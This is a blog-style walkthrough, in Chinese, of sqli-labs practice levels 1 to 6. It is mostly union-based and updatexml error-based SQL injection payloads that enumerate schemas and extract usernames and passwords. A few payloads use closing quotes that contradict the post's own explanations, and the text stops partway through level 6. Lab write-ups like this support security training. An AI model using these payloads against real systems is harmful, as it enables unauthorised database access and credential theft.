sqli-labs（1~16）

最新推荐文章于 2024-11-10 22:12:12 发布

bukeyiaoyeO

最新推荐文章于 2024-11-10 22:12:12 发布

阅读量1.8k

点赞数 44

文章标签： web安全数据库学习

本文链接：https://blog.csdn.net/2302_78439049/article/details/140749617

版权

sqli-labs第1关

1.提示输入数字值的ID作为参数，因此输入?id=1

输入不同数字得到回显不同，证明输入内容进入数据库中；判断sql语句是否是拼接，且是字符型还是数字型：?id=1'

2.联合注入

order by判断数列，当列数为4是出错，证明有三列。

判断完数列后就可以联合查询进行注入

?id=-1'union select 1,2,3--+

查询字段、查询数据

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

到两个敏感字段username、password

?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第2关

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第3关

输入?id=1' 得到回显，与第一二关有所不同sql语句是单引号字符型且有括号，闭合单引号且也要加上括号

?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第4关

?id=1' 、?id=1"

双引号字符型且有括号

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,0x3a, password) from users--+

sqli-labs第5关

采用单引号闭合

?id=1' order by 3--+ ……

使用联合注入没有回显，只有对错误页面显示；选择报错注入

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)--+

sqli-labs第6关

同第五关一样使用联合注入没有回显，只有对错误页面显示，不同的是使用双引号闭合；选择报错注入

?id=1" and updatexml(1,concat('~',(select user()),'~'),1)--+

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+